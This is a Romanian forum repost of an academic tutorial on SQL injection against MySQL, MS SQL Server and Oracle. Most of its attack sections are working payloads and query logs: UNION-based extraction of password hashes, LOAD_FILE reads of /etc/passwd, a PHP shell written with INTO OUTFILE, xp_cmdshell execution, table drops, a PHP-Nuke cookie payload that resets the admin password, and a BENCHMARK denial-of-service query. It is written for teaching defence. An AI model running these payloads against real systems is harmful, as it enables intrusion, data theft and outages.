m4s4cru
TVOnline Gratis
 Din: Craiova
Inregistrat: acum 14 ani
Postari: 1217
|
|
Se stie ca astazi majoritatea aplicatiilor-web īsi pastreaza datele īn baza de date, deoarece acest fapt permite de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca īn majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language).
SQL Injection este o vulnerabilitate ce apare īn cazurile cīnd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private.
Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori īn procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, realizarea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este īn primul rīnd destinat web-programmerilor si expertilor īn securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate.
Īn lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele mai raspīndite. Aceasta nu īnseamna ca celelalte SGBD sunt mai securizate.
1. Bazele SQL-injection
Pentru a īntelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si realizarea lucrului cu bazele de date īn PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia (tabelul) users de urmatoarea structura:
O interogare ce extrage datele din baza de date poate avea forma:
SELECT *
FROM users
WHERE name = '$name'
Īn acest caz valorile din cīmpul name sunt comparate cu valoarea variabilei $name. Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica interogarea.
Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea:
SELECT *
FROM users
WHERE name = 'su'
Interogarea este corecta. Īnsa daca valoarea variabilei va primi valoarea aaa' interogarea va deveni incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' īn plus:
SELECT *
FROM users
WHERE name = 'aaa''
Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizīnd simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor īnregistrati, transmitīnd una din urmatoarele valori pentru parametrul $name (presupunem ca īn sistem sunt īnregistrati utilizatorii admin, su si lma0):
random_data' OR name='admin
random_data' OR name='su
random_data' OR name='lma0
Cererile SQL la baza de date vor fi:
SELECT * FROM users WHERE name='random_data' OR name='admin'
SELECT * FROM users WHERE name='random_data' OR name='su'
SELECT * FROM users WHERE name='random_data' OR name='lma0'
Īnjectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea:
random_data' OR '1'='1
Cererea cu codul injectat:
SELECT * FROM users WHERE name='random_data' OR '1'='1'
va īntoarce toate tuplurile (īnregistrarile) din tabelul users.
2. Proceduri de testare a aplicatiilor web la SQL-injection
Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atīt parametrii GET cīt si POST), incluzīnd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii.
2.1. Identificarea parametrilor vulnerabili
Sa presupunem ca aplicatia-web este configurata astfel, īncīt īn cazul aparitiei unei erori SQL, īn browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema.
Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa':
http://127.0.0.1/inj.asp?id=aaa'
Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta īn pagina returnata de server a frazelor de genul ODBC, have an error, SQL syntax, SQL Server, MySQL, Oracle etc. Exista cazuri cīnd erorile returnate de server se plaseaza īn parametrii ascunsi (hidden input, headers) sau comentarii. Īn acest caz raufacatorului īi este foarte usor de a injecta un cod SQL malicios:
http://127.0.0.1/inj.asp?id=aaa';+drop+table+users;--
Ar trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date.
Este foarte raspīndita situatia, cīnd din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web:
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result
resource in ...
Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD.
2.2. Identificarea parametrilor vulnerabili īn cazurile cīnd nu se afiseaza erorile
Sa presupunem ca erorile ce apar īn cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului īi ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web.
Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cīnd serverul returneaza erorile 302 (page redirect) si 500 (internal server error). Īn acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le īntelege este nevoie de a cunoaste tipurile de baza SQL. Atributele īn SQL pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul īn procesul de exploatare a vulnerabilitatii. Īn SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise īntre ghilimele (unele SGBD permit transmiterea si a valorilor numerice īntre ghilimele):
SELECT * FROM users WHERE id=5 /* valoare numerica */
SELECT * FROM users WHERE name='admin' /* valoare sir de caractere*/
Testarea la SQL Injection a parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri posibile:
http://127.0.0.1/inj.php?id=5'
http://127.0.0.1/inj.php?id=6-1
http://127.0.0.1/inj.php?id=4+1
Daca parametrul id este vulnerabil īn primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 cīnd erorile SGBD nu se afiseaza) deoarece cererea:
/* 1 */ SELECT * FROM users WHERE id=5'
nu este corecta din punct de vedere sintactic.
Cererile 2a si 2b:
/* 2a */ SELECT * FROM users WHERE id=6-1
/* 2b */ SELECT * FROM users WHERE id=4+1
se for executa corect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id=5), indicīnd la 100% ca parametrul numeric id este vulnerabil.
O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit īntre ghilimele si concatenarea sirurilor de caractere īn diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos.
Procedura de testare a parametrului name:
http://127.0.0.1/inj.php?name=lma0
are deasemenea 2 cazuri posibile.
Īn primul caz se parametrului i se transmite o valoare care o sa genereze eroare SQL:
http://127.0.0.1/inj.php?name=lm'a0
Cererea SQL ce va genera eroare:
/* 1 */ SELECT * FROM users WHERE name='lm'a0'
deoarece este prezent un simbol ' īn plus.
Īntr-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia:
http://127.0.0.1/inj.php?name=l'+'ma0
http://127.0.0.1/inj.php?name=lm'+'a0
Ca rezultat vor fi formate urmatoarele cereri la baza de date:
/* 2a */ SELECT * FROM users WHERE name='l'+'ma0'
/* 2b */ SELECT * FROM users WHERE name='lm'+'a0'
Ambele cereri SQL sunt corecte si returneaza acelasi rezultat.
2.3. Parametrii vulnerabili īn cookie
Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection nu se filtreaza datele din cookie.
Nu voi intra īn detalii, doar voi mentiona ca īn PHP Nuke, īn cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies:
...
*
admin
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
...
Sirul de caractere este codificat īn base64:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
Decodificat va fi:
admin:96e79218965eb72c92a549dd5a330112:
Unde admin login, 96e79218965eb72c92a549dd5a330112 md5(pass) (functia hash md5 a parolei), simbolul : este auxiliar.
Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php:
...
f(isset($admin) && $admin != "" { // daca exista variabila $admin
$admin = base64_decode($admin); // se decodeaza din base64 (din cookie)
$admin = explode(":", $admin); // se imparte sirul in pina si dupa :
$aid = "$admin[0]"; // login-ul
$pwd = "$admin[1]"; // md5(parola) md5 hash din cookie
...
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!!
...
Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri speciale si este vulnerabila.
Astfel raufacatorul cu usurinta poate modifica cookies. Plasīnd īn locul sirului de caractere:
caractere:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
sirul:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1
JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg==
Decodificat ca fi:
admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112:
Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei hacked_password. Efectul actiunii date schimbarea parolei administratorului.
3. Metode de atac
Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul cererii SQL īn care va fi injectat codul malicios. Cel mai des īn aplicatiile-web sunt utilizate 4 tipuri de cereri SQL:
1. SELECT
2. INSERT
3. UPDATE
4. DELETE
Care dintre acestea este folosit īntr-un caz concret, poate fi determinat analizīnd logica si semantica scriptului vulnerabil.
Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT.
Daca scriptul adauga unele date īn baza de date, spre exemplu adaugarea unui comentariu, sau un post īn forum cererea este de tipul INSERT.
Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului īn forum cererea este de tipul UPDATE.
Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE.
Cel mai des sunt īntīlnite vulnerabilitati īn cereri SELECT.
3.1. Injectarea UNION SELECT
Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii īn primul rīnd vor īncerca de a injecta clauze UNION SELECT, deoarece īn caz de succes raufacatorul va obtine acces la toate tabelele de sistem. Īn aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD:
1. MS SQL Server
INFORMATION_SCHEMA
sysobjects
syscolumns
2. MySQL
mysql.user
mysql.host
mysql.db
3. Oracle
SYS.USER_OBJECTS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.TAB
SYS.ALL_TABLES
Īnainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de atribute īn cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de realizat īn cazurile cīnd nu se afiseaza erorile īn browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip.
3.1.1. Identificarea numarului de atribute
Mai īntīi voi arata cīt de simplu se afla numarul de atribute īn cazul cīnd se afiseaza erorile īn browser. Sa presupunem ca exista urmatoarea vulnerabilitate īn aplicatia-web ce utilizeaza SGBD MySQL:
http://127.0.0.1/inj.php?id=5'
Pentru a afla numarul de atribute raufacatorul va forma cererile:
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3/*
...
pīna ce va disparea mesajul de eroare:
The used SELECT statements have a different number of columns
Logurile MySQL:
mysql> select * from users where id=-1 union select 0;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3,4;
ERROR 1218: The used SELECT statements have a different number of columns
mysql> select * from users where id=-1 union select 0,1,2,3,4,5;
+----+------+--------+----------+-------+------------+
| id | name | mgroup | password | email | ip_address |
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2 | 3 | 4 | 5 |
+----+------+--------+----------+-------+------------+
1 row in set (0.00 sec)
Īn cazul cīnd erorile cererii SQL nu se afiseaza īn browser raufacatorul se va folosi de clauza ORDER BY pīna ce va aparea un mesaj de eroare:
http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/*
http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/*
http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/*
...
Logurile MySQL:
mysql> select * from users where id=-1 order by 1;
Empty set (0.01 sec)
mysql> select * from users where id=-1 order by 2;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 3;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 4;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 5;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 6;
Empty set (0.00 sec)
mysql> select * from users where id=-1 order by 7;
ERROR 1054: Unknown column '7' in 'order clause'
Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cīnd aplicatia-web īntoarce o eroare (302 page redirect sau 500 internal server error) numarul exact coloanelor se stie.
3.1.2. Identificarea tipului atributelor
Dupa ce se cunoaste numarul de atribute, mai ramīne de aflat tipul acestora. Īn MySQL tipul datelor este foarte usor de determnat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Īnsa cīnd se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvīntul rezervat NULL, deoarece acesta poate avea orice tip.
Presupunīnd ca numarul de atribute este calculat, raufacatorului īi este foarte usor de a īnjecta clauza UNION cu toate atributele nule. Adaugarea īnstructiunii WHERE care īntotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL).
Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle):
http://127.0.0.1/inj.asp?id=-1' +UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2--
Acest tip de injectare cu NULL are 2 scopuri. Principalul de a obtine o cerere cu UNION fara erori. Si cealalta aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect.
Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Īntr-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime.
-1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2
Nici o eroare primul atribut este numeric
-1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2
Eroare
-1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2
Nici o eroare al doilea atribut are tipul sir caractere
-1'+UNION+SELECT+1,2,3,NULL,NULL,NULL+WHERE+1=2
Nici o eroare al 3-lea atribut este numeric
...
Astfel, avīnd toata īnformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL:
mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user;
+----+------+--------+----------+-------+------------+
| id | name | mgroup | password | email | ip_address |
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2 | fdsJD83h | 4 | 5 |
+----+------+--------+----------+-------+------------+
1 row in set (0.00 sec)
3.2. Obtinerea unui interpretator de comenzi
Unele SGBD permit extragerea rezultatelor cererii SQL īntr-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell).
Īn MySQL extragerea rezultatelor īn fisier se face utilizīnd clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul:
INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php
Īn MS SQL Server extragerea rezultatelor īn fisier putin difera. Īn componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri master.dbo.sp_makewebtask are destinatia aceasta.
O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir'
3.3. Metode specifice de atac asupra unui anumit tip de SGBD
3.3.1. MySQL
SQL injecion permite de a afla si alte date:
/* baza de date curenta */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE();
/* utilizatorul care a lansat baza de date */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER();
/* versiunea serverului */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION();
Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server:
http://127.0.0.1/inj.php?id=-1'+UNION+ ... ,1,2,3,4,5, LOAD_FILE('/etc/passwd')/*
O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reīntoarce simbolul cu codul ASCII num:
select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user
ceea ce este echivalent cu:
select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user
Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS:
select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))
trimiterea de catre raufacator a cīteva cereri de acest fel va face serverul sa frīneze considerabil.
3.3.2. MS SQL Server
In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server.
Extragerea datelor din baza de date poate fi cu usurinta facuta īn cazul cīnd mesajele de erori ODBC se afiseaza īn browser. Sa presupunem ca exista o aplicatie-web vulnerabila:
http://127.0.0.1/?page_id=1
Pentru īnceput raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel:
http://127.0.0.1/?page_id=-1; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES--
Serverul va reīntoarce:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint
Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rīnd va forma urmatoarele cereri:
http://127.0.0.1/?page_id=-1;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')
Raspunsul serverului:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint
Cererea urmatoare va fi:
http://127.0.0.1/?page_id=-1;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')
Acest exemplu demonstreaza cīt de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator.
4. Caracteristici tipice a SGBD
4.1. MySQL
1. Suporta INTO OUTFILE
2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date
3. Suporta interogari UNION si JOIN (doar versiunile > =4.0)
4. Permite transmiterea valorilor numerice īntre ghilimele
4.2. Oracle
1. Suporta subselect
2. Suporta UNION
3. Nu permite executarea cererilor multiple la baza de date
4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere
4.3. MS SQL
1. Suporta subselect
2. Suporta UNION
3. Permite executarea cererilor multiple la baza de date
4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere
[COLOR="#F0FFFF"]5. Metode de aparare
Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection īn aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri:
1) Ghilimelele atit simple cīt si duble (, , `). Cu ajutorul acestora īn majoritatea cazurilor se efectuiaza injectarea codului SQL.
2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare.
3) Simbolurile ce īmpart instructiunile SQL (. Prezenta acestui simbol permite de a forma mai multe cereri la baza de date.
4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*).
5) Īn cazul cīnd īn cererea SQL se utilizeaza date numerice primite de la utilizatori, īnainte de a le plasa īn cererea SQL acestea ar trebui aduse la tipul numeric:
$id int)$id;
6) Īn cazul cīnd īn cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, īnainte de a le plasa īn cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica este formarea expresiilor regulate.[/color]
Concluzii
Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt foarte raspīndite. Īn lucrare am demonstrat ca prezenta vulnerabilitatii date īn aplicatia-web īi permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS.
Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale absolut toate datele ce parvin de la utilizatori. Īn aceasta categorie intra parametrii GET, POST si chiar cookie.
Aspectele reflectate īn aceasta lucrare desigur nu acopera īn īntregime tema atacurilor SQL injection. Fiecare SGBD are nuantele sale pe care raufacatorul potential poate sa le foloseasca spre binele sau. Tema lucrarii date este derivata din tema proiectului de masterat īntitulata Metode si solutii de detectare a web-atacurilor.
Source: http://www.ase.md/~osa/publ/ro/pubro32/
|
|
